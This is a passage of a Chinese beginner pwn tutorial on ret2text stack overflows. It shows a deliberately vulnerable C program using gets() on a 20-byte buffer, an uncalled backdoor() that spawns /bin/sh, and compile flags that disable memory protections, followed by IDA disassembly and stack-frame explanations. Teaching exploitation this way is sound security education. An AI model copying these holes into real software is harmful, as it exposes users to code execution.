href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Pwn%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E7%8B%B1/#0%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8%EF%BC%9A%E6%96%B0%E4%BA%BA%E7%9A%84%E7%AC%AC%E4%B8%80%E4%B8%AA%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E2%80%94%E2%80%94%E6%A0%88%E6%BA%A2%E5%87%BA%E2%80%94%E2%80%94ret2text\" class=\"headerlink\" title=\"0基础入门:新人的第一个安全漏洞的利用——栈溢出——ret2text\"\u003e\u003c/a\u003e0基础入门:新人的第一个安全漏洞的利用——栈溢出——ret2text\u003c/h2\u003e\u003cblockquote\u003e\u003ch4 id=\"前置知识要求\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Pwn%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E7%8B%B1/#%E5%89%8D%E7%BD%AE%E7%9F%A5%E8%AF%86%E8%A6%81%E6%B1%82\" class=\"headerlink\" title=\"前置知识要求\"\u003e\u003c/a\u003e前置知识要求\u003c/h4\u003e\u003cul\u003e\u003cli\u003eC语言基本语法\u003c/li\u003e\u003cli\u003ePython语言基本语法\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e能大致看得懂C程序、有写简单的Python程序的能力即可\u003c/p\u003e\u003ch4 id=\"前置环境要求\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Pwn%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E7%8B%B1/#%E5%89%8D%E7%BD%AE%E7%8E%AF%E5%A2%83%E8%A6%81%E6%B1%82\" class=\"headerlink\" title=\"前置环境要求\"\u003e\u003c/a\u003e前置环境要求\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003eWindows\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003eLinux\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e我们的一部分工作需要在Windows上完成,另一部份工作则需要在Linux中完成\u003c/p\u003e\u003cp\u003e你可以在windows上运行Linux虚拟机,也可以直接在真机运行linux\u003c/p\u003e\u003cp\u003e注:linux环境下由于默认的远程软件库是国外的源,下载速度可能会比较慢\u003c/p\u003e\u003ch4 id=\"百度“Linux-换源”与“pip-换源”更换Linux下的软件源为国内的软件源,提高下载速度\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Pwn%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E7%8B%B1/#%E7%99%BE%E5%BA%A6%E2%80%9CLinux-%E6%8D%A2%E6%BA%90%E2%80%9D%E4%B8%8E%E2%80%9Cpip-%E6%8D%A2%E6%BA%90%E2%80%9D%E6%9B%B4%E6%8D%A2Linux%E4%B8%8B%E7%9A%84%E8%BD%AF%E4%BB%B6%E6%BA%90%E4%B8%BA%E5%9B%BD%E5%86%85%E7%9A%84%E8%BD%AF%E4%BB%B6%E6%BA%90%EF%BC%8C%E6%8F%90%E9%AB%98%E4%B8%8B%E8%BD%BD%E9%80%9F%E5%BA%A6\" class=\"headerlink\" title=\"百度“Linux 换源”与“pip 换源”更换Linux下的软件源为国内的软件源,提高下载速度\"\u003e\u003c/a\u003e百度“Linux 换源”与“pip 换源”更换Linux下的软件源为国内的软件源,提高下载速度\u003c/h4\u003e\u003ch4 id=\"不同的Linux发行版本(如Ubuntu、Kali、manjaro等)请自行将搜索框内的“linux”换为对应的发行版名称\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Pwn%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E7%8B%B1/#%E4%B8%8D%E5%90%8C%E7%9A%84Linux%E5%8F%91%E8%A1%8C%E7%89%88%E6%9C%AC%EF%BC%88%E5%A6%82Ubuntu%E3%80%81Kali%E3%80%81manjaro%E7%AD%89%EF%BC%89%E8%AF%B7%E8%87%AA%E8%A1%8C%E5%B0%86%E6%90%9C%E7%B4%A2%E6%A1%86%E5%86%85%E7%9A%84%E2%80%9Clinux%E2%80%9D%E6%8D%A2%E4%B8%BA%E5%AF%B9%E5%BA%94%E7%9A%84%E5%8F%91%E8%A1%8C%E7%89%88%E5%90%8D%E7%A7%B0\" class=\"headerlink\" title=\"不同的Linux发行版本(如Ubuntu、Kali、manjaro等)请自行将搜索框内的“linux”换为对应的发行版名称\"\u003e\u003c/a\u003e不同的Linux发行版本(如Ubuntu、Kali、manjaro等)请自行将搜索框内的“linux”换为对应的发行版名称\u003c/h4\u003e\u003c/blockquote\u003e\u003cp\u003e以下内容将通过几个样例简单地帮助你入门Pwn\u003c/p\u003e\u003ch3 id=\"以下内容操作环境位于Linux\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Pwn%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E7%8B%B1/#%E4%BB%A5%E4%B8%8B%E5%86%85%E5%AE%B9%E6%93%8D%E4%BD%9C%E7%8E%AF%E5%A2%83%E4%BD%8D%E4%BA%8ELinux\" class=\"headerlink\" title=\"以下内容操作环境位于Linux\"\u003e\u003c/a\u003e以下内容操作环境位于Linux\u003c/h3\u003e\u003cp\u003e我们现在来看这样的一个程序:\u003c/p\u003e\u003cfigure class=\"highlight c++\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e \u003cspan class=\"keyword\"\u003enamespace\u003c/span\u003e std;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003ebackdoor\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003esystem\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;/bin/sh\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003efunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e str[\u003cspan class=\"number\"\u003e20\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;tell me your name plz:\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003egets\u003c/span\u003e(str);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003efunc\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e我们使用\u003ccode\u003e-fno-stack-protector\u003c/code\u003e、\u003ccode\u003e-z norelro\u003c/code\u003e、\u003ccode\u003e-z execstack\u003c/code\u003e、\u003ccode\u003e-no-pie\u003c/code\u003e这四条编译指令把这个程序的保护都给关掉\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://i.loli.net/2020/09/19/VrEYoaTgXHztuek.png\" alt=\"image.png\"/\u003e\u003c/p\u003e\u003ch4 id=\"安全检查:checksec\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Pwn%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E7%8B%B1/#%E5%AE%89%E5%85%A8%E6%A3%80%E6%9F%A5%EF%BC%9Achecksec\" class=\"headerlink\" title=\"安全检查:checksec\"\u003e\u003c/a\u003e安全检查:checksec\u003c/h4\u003e\u003cp\u003e\u003cstrong\u003e使用\u003ccode\u003echecksec\u003c/code\u003e指令可以查看程序的保护开启情况\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://i.loli.net/2020/09/19/3V8ZP2kTlwjBArp.png\" alt=\"image.png\"/\u003e\u003c/p\u003e\u003cp\u003e可以在控制台输入如下指令安装:\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo apt install checksec\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch4 id=\"逻辑分析\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Pwn%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E7%8B%B1/#%E9%80%BB%E8%BE%91%E5%88%86%E6%9E%90\" class=\"headerlink\" title=\"逻辑分析\"\u003e\u003c/a\u003e逻辑分析\u003c/h4\u003e\u003cp\u003e这个程序做了些什么?\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e定义了一个后门函数\u003ccode\u003ebackdoor()\u003c/code\u003e,但是并未调用\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e分配了20个字节大小的内存空间给到char类型数组str\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用\u003ccode\u003egets()\u003c/code\u003e函数从标准输入流读入字符串并写入数组str内\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e我们可以看到当我们在编译时编译器\u003cstrong\u003e给了一个警告\u003c/strong\u003e,这是因为\u003cstrong\u003egets()函数并未限制读入的字符的数量,若是用户输入超过20个字符的数据,则会发生栈溢出,轻则会使程序崩溃,重则可能让不法分子获取系统的最高权限\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e我们尝试着输入超过20个字节的字符串,看看会发生些什么:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://i.loli.net/2020/09/10/ImU7JcHr9j5DOS8.png\" alt=\"image.png\"/\u003e\u003c/p\u003e\u003cp\u003e程序崩溃,提示\u003cstrong\u003eSegmentation fault\u003c/strong\u003e(\u003cstrong\u003e段错误\u003c/strong\u003e),即\u003cstrong\u003e该程序尝试访问了不属于他的内存空间\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e但是我们的程序执行流程明明很常规,代码里也没有任何的奇怪的操作,\u003cstrong\u003e为什么输入不一样就会导致程序崩溃呢?\u003c/strong\u003e\u003c/p\u003e\u003ch3 id=\"以下内容操作环境位于Windows\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Pwn%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E7%8B%B1/#%E4%BB%A5%E4%B8%8B%E5%86%85%E5%AE%B9%E6%93%8D%E4%BD%9C%E7%8E%AF%E5%A2%83%E4%BD%8D%E4%BA%8EWindows\" class=\"headerlink\" title=\"以下内容操作环境位于Windows\"\u003e\u003c/a\u003e以下内容操作环境位于Windows\u003c/h3\u003e\u003ch4 id=\"IDA:逆向分析\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Pwn%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E7%8B%B1/#IDA%EF%BC%9A%E9%80%86%E5%90%91%E5%88%86%E6%9E%90\" class=\"headerlink\" title=\"IDA:逆向分析\"\u003e\u003c/a\u003eIDA:逆向分析\u003c/h4\u003e\u003cp\u003e通常情况下,我们所拿到的都是软件的发行版,而不是源代码,我们无法直接看出漏洞存在于哪个地方,故我们需要一个工具来尽可能地还原整个程序的运行过程,这就要借助到一个工具——\u003cstrong\u003eIDA\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e我们尝试使用\u003cstrong\u003eIDA\u003c/strong\u003e对程序进行\u003cstrong\u003e逆向分析\u003c/strong\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e注:IDA软件本体在moeCTF 2020群内有下载,你也可以选择通过搜索引擎获取一个IDA,或者直接在官网购买正版IDA\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e当我们将程序拖入IDA后,除了我们自己写的\u003ccode\u003ebackdoor()\u003c/code\u003e函数、\u003ccode\u003efunc()\u003c/code\u003e函数及\u003ccode\u003emain()\u003c/code\u003e函数之外,我们可以看到IDA还解析出来很多奇奇怪怪的函数,\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://i.loli.net/2020/09/19/PnyOMxVuwl2HkAp.png\" alt=\"image.png\"/\u003e\u003c/p\u003e\u003cp\u003e这些预料之外的函数我们目前暂时不需要管(以后会学到的),我们目前只需要分析程序的主逻辑函数即可,双击main函数,我们便可以看到反汇编得到的汇编代码\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://i.loli.net/2020/09/19/X9EqLPcvoRU7apQ.png\" alt=\"image.png\"/\u003e\u003c/p\u003e\u003cp\u003e同样地,双击func函数我们也可以看到其原始的汇编代码\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://i.loli.net/2020/09/19/fi49QwLhvb8jBKp.png\" alt=\"image.png\"/\u003e\u003c/p\u003e\u003cblockquote\u003e\u003ch3 id=\"F5键:使用IDA进行逆向分析的神器\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Pwn%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E7%8B%B1/#F5%E9%94%AE%EF%BC%9A%E4%BD%BF%E7%94%A8IDA%E8%BF%9B%E8%A1%8C%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E7%9A%84%E7%A5%9E%E5%99%A8\" class=\"headerlink\" title=\"F5键:使用IDA进行逆向分析的神器\"\u003e\u003c/a\u003eF5键:使用IDA进行逆向分析的神器\u003c/h3\u003e\u003cp\u003e当我们选中一个函数时,我们可以按下F5键,将汇编代码反编译为C语言的代码,使我们能够更好的分析程序执行流程\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://i.loli.net/2020/09/10/PKn45uGFCiALw9s.png\" alt=\"image.png\"/\u003e\u003c/p\u003e\u003cp\u003e要注意的是\u003cstrong\u003e不要完全依赖于F5键进行逆向分析,反编译出来的C语言代码不一定准确、易读,汇编代码的审计与程序的动态调试同样重要\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e如:纯汇编编写的程序反编译出来的代码不知所云的情况常常出现\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://i.loli.net/2020/09/10/H3pmFvzSZjVbR9A.png\" alt=\"image.png\"/\u003e\u003c/p\u003e\u003cp\u003e如:C++程序很多时候逆出来就是一坨shit,没有强大的代码功底你很难搞明白程序究竟做了些什么,如下图(注释是我以前做这道题的时候手动打上的,可能有错,别深究Or2)\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://i.loli.net/2020/09/08/U7P6A1HlfkZGsXi.png\" alt=\"image.png\"/\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003epush是什么?mov是什么?retn又是什么?他们都做了些什么?或许目前对于你而言这是完全陌生的一些东西,不过随着逐步深入的学习,你将会逐渐了解到其含义与作用\u003c/p\u003e\u003ch3 id=\"以下内容操作环境位于Linux-1\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Pwn%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E7%8B%B1/#%E4%BB%A5%E4%B8%8B%E5%86%85%E5%AE%B9%E6%93%8D%E4%BD%9C%E7%8E%AF%E5%A2%83%E4%BD%8D%E4%BA%8ELinux-1\" class=\"headerlink\" title=\"以下内容操作环境位于Linux\"\u003e\u003c/a\u003e以下内容操作环境位于Linux\u003c/h3\u003e\u003ch4 id=\"栈帧\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Pwn%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E7%8B%B1/#%E6%A0%88%E5%B8%A7\" class=\"headerlink\" title=\"栈帧\"\u003e\u003c/a\u003e栈帧\u003c/h4\u003e\u003cp\u003e为什么这个程序的汇编代码长这个样子?这就涉及到C函数调用的一个比较重要的概念——\u003cstrong\u003e栈帧\u003c/strong\u003e(\u003cstrong\u003eStack Frame\u003c/strong\u003e)\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e推荐阅读——《程序员的自我修养》第10章\u003c/p\u003e\u003c/blockquote\u003e\u003cblockquote\u003e\u003cp\u003e在讲栈帧之前,我们先简单地讲一讲什么是\u003cstrong\u003e栈\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e在数据结构中,\u003cstrong\u003e栈\u003c/strong\u003e(\u003cstrong\u003estack\u003c/strong\u003e)是一种受限线性表,在线性表上插入与删除数据的操作都只能在数据表的一端——栈顶进行操作,因此栈也是一种LIFO表(Last-in-First-out)\u003c/p\u003e\u003cp\u003e在操作系统中,对动态内存的规划与使用是与数据结构中的栈相似的,我们称之为“栈内存”,用以存储函数内部(包括main函数)的局部变量和方法调用和函数参数值;栈内存是由系统自动分配的,一般速度较快;存储地址是连续且存在有限栈容量,会出现溢出现象程序可以将数据压入栈中,也可以将数据从栈顶弹出。压栈操作使得栈增大,而弹出操作使栈减小。 栈用于维护函数调用的上下文,离开了栈函数调用就没法实现。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e当程序每次进行函数调用的时候,都会在调用栈上维护一个独立的\u003cstrong\u003e栈帧\u003c/strong\u003e,用以储存属于这个函数的数据与基本信息,包括如下信息:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e函数的返回地址和参数\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e临时变量: 包括函数的非静态局部变量以及编译器自动生成的其他临时变量\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e想象如下一个空的栈:\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e需要注意的是:在内存当中,栈是由高地址向低地址方向增长的\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://i.loli.net/2020/09/10/rpSL6osNhMKiY9u.png\" alt=\"64E3FCC73EF02703BA8C857A91F96838.png\"/\u003e\u003c/p\u003e\u003cp\u003e这里引入一个新的概念——\u003cstrong\u003e栈指针寄存器SP\u003c/strong\u003e(\u003cstrong\u003eStack Pointer\u003c/strong\u003e)与\u003cstrong\u003e帧指针寄存器BP\u003c/strong\u003e(\u003cstrong\u003eFrame Pointer\u003c/strong\u003e),这两个寄存器用以管理栈帧,其中\u003cstrong\u003eSP寄存器永远指向栈顶,BP寄存器用以进行对栈内数据的访问\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e当我们要调用一个函数时,首先会先\u003cstrong\u003e将下一条的地址压入栈中,作为返回地址,这一步在原函数内完成\u003c/strong\u003e,当函数执行流程结束后,程序会通过这个返回地址返回到该函数的上一层的调用地址\u003c/p\u003e\u003cp\u003e我们还是以刚刚反汇编出来的代码进行分析:\u003c/p\u003e\u003cp\u003e右键菜单可以切换到文本模式,也可以切换回图标格式,文本模式方便我们得以一窥程序原貌,图标模式则方便我们理解函数内的逻辑\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://i.loli.net/2020/09/19/1A5cH3GkKp6uYsb.png\" alt=\"image.png\"/\u003e\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e.text:000000000040055A ; Attributes: bp-based frame\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e.text:000000000040055A\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e.text:000000000040055A public func\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e.text:000000000040055A func proc near ; CODE XREF: main+4↓p\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e.text:000000000040055A\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e.text:000000000040055A var_20 = byte ptr -20h\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e.text:000000000040055A\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e.text:000000000040055A ; __unwind {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e.text:000000000040055A push rbp\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e.text:000000000040055B mov rbp, rsp\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e.text:000000000040055E sub rsp, 20h\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e.text:0000000000400562 lea rdi, s ; \u0026#34;tell me your name plz\u0026#34;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e.text:0000000000400569 call _puts\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e.text:000000000040056E lea rax, [rbp+var_20]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e.text:0000000000400572 mov rdi, rax\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e.text:0000000000400575 mov eax, 0\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e.text:000000000040057A call _gets\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e.text:000000000040057F nop\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e.text:0000000000400580 leave\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e.text:0000000000400581 retn\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e.text:0000000000400581 ; } // starts at 40055A\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e.text:0000000000400581 func endp\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003cimg src=\"https://i.loli.net/2020/09/10/7SCLieKoarEXu5m.png\" alt=\"52DF40089C8FCCF9D5CF8DE7211B73D8.png\"/\u003e\u003c/p\u003e\u003cp\u003e接下来就来到了我们看到的前两行汇编代码:\u003ccode\u003epush 